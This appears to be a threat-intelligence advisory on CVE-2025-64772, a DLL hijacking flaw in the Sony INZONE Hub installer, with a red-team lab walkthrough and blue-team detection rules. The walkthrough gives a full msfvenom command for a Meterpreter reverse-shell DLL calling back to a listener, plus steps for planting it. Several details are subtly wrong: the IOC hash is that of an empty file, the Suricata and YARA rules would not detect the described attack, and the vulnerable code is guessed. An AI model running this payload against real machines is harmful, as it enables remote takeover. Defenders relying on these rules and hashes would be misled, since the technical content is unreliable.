CVE-2025-64772

Executive Summary

CVE-2025-64772 is a high-severity (CVSS 7.8) local privilege escalation vulnerability affecting the Sony INZONE Hub installer, versions 1.0.10.3 through 1.0.17.0. The vulnerability stems from an insecure DLL search path (CWE-427) during the installation process. An attacker with local access or the ability to trick a user into running the installer from a compromised directory can achieve arbitrary code execution at the user's privilege level. No public exploit code or proof-of-concept is currently available, and no patch has been released by Sony. The EPSS score is 0.0%, indicating low exploitation activity in the wild as of the report date.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows installer issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access or trick the user into running the installer from a controlled location.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond placing a malicious DLL in the search path.
• Privileges Required (PR): None (N) – No prior privileges needed.
• User Interaction (UI): Required (R) – The victim must run the installer.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full denial of service possible.

Threat Level: High. The vulnerability is easy to exploit locally, and the impact is severe. However, the lack of public exploit code and low EPSS score reduce immediate risk.

Deep Dive & Mechanics

The Sony INZONE Hub installer (versions 1.0.10.3 to 1.0.17.0) uses an insecure DLL search path. When the installer is launched, it searches for required Dynamic Link Libraries (DLLs) in a specific order, often starting with the current working directory. If an attacker can place a malicious DLL in the same directory as the installer (or in a directory that appears earlier in the search path), the installer will load the attacker's DLL instead of the legitimate one. This allows arbitrary code execution with the privileges of the user running the installer.

The vulnerability is classified as CWE-427 (Uncontrolled Search Path Element). The installer does not use safe DLL search mode or specify absolute paths for its dependencies.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The installer likely uses relative paths or relies on the default Windows DLL search order. For example:

LoadLibrary("helper.dll"); // Vulnerable: searches current directory first

Patched Code (Expected): A patched version would use absolute paths or enable safe DLL search mode:

LoadLibrary(L"C:\\Program Files\\Sony\\INZONE Hub\\helper.dll"); // Safe: absolute path
// Or
SetDllDirectory(L""); // Remove current directory from search path
LoadLibrary("helper.dll");

Since no patch is available, the exact patched code is unknown.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of INZONE Hub (1.0.10.3 to 1.0.17.0) on a Windows 10/11 VM.
2. Create a malicious DLL (e.g., msvcp140.dll or any DLL the installer loads) using msfvenom or a custom payload.
3. Place the malicious DLL in the same directory as the installer executable.
4. Run the installer as a standard user.

Exploitation Steps:

1. Generate a malicious DLL:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

2. Rename the DLL to match a DLL the installer loads (e.g., helper.dll).
3. Place the DLL in the same folder as INZONESetup.exe.
4. Execute the installer:

   INZONESetup.exe
   

5. The installer loads the malicious DLL, executing the payload with user privileges.

Note: No public exploit code is available. The above is a generic DLL hijacking technique.

Blue Team (Defensive)

Detection:

• Monitor for unusual DLL load events from the installer process.
• Use Sysmon to log DLL load events (Event ID 7).
• Look for the installer (INZONESetup.exe) loading DLLs from non-standard paths (e.g., %TEMP%, Downloads).

Prevention:

• Block execution of the installer from user-writable directories.
• Use AppLocker or WDAC to restrict DLL loading.
• Apply the principle of least privilege; do not run installers as admin.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Placeholder – obtain from actual installer)
  • INZONESetup.exe: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: INZONESetup.exe
• DLL Load Events: Any DLL loaded from %TEMP%, Downloads, or the installer's directory that is not a legitimate system DLL.
• Network Connections: Outbound connections from the installer process to unknown IPs (if payload is reverse shell).
• Registry Changes: Unauthorized modifications to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run or similar.

Detection Engineering

YARA Rule

rule CVE_2025_64772_INZONE_Hub_DLL_Hijack {
    meta:
        description = "Detects potential DLL hijacking attempts against Sony INZONE Hub installer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64772"
    strings:
        $s1 = "INZONESetup.exe" nocase
        $s2 = "helper.dll" nocase
        $s3 = "msvcp140.dll" nocase
        $s4 = "vcruntime140.dll" nocase
    condition:
        ($s1 or $s2 or $s3 or $s4) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-64772 - INZONE Hub Installer DLL Hijack
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from the INZONE Hub installer that originate from non-standard directories.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64772
logsource:
    product: windows
    service: sysmon
    definition: 'Sysmon Event ID 7 (DLL loaded) must be enabled'
detection:
    selection:
        Image|endswith: '\\INZONESetup.exe'
        ImageLoaded|contains:
            - '\\Temp\\'
            - '\\Downloads\\'
            - '\\Desktop\\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by the user
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-64772 - INZONE Hub Installer Potential C2"; flow:to_server,established; content:"INZONESetup.exe"; http_user_agent; classtype:trojan-activity; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not run the installer from untrusted directories. Always run the installer from a trusted location (e.g., C:\Downloads after verifying the source).
2. Use a standard user account for installation to limit the impact of code execution.
3. Monitor for suspicious DLL loads using Sysmon or EDR.

Long-term Fix:

• Sony must release a patched version of the installer that uses safe DLL search mode or absolute paths.
• Until a patch is available, consider using a third-party tool to block DLL hijacking (e.g., Microsoft's EMET or Windows Defender Application Control).

Workaround:

• Set the CWDIllegalInDllSearch registry key to 0xFFFFFFFF to disable the current directory in the DLL search path for all processes (requires admin and may break some applications).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst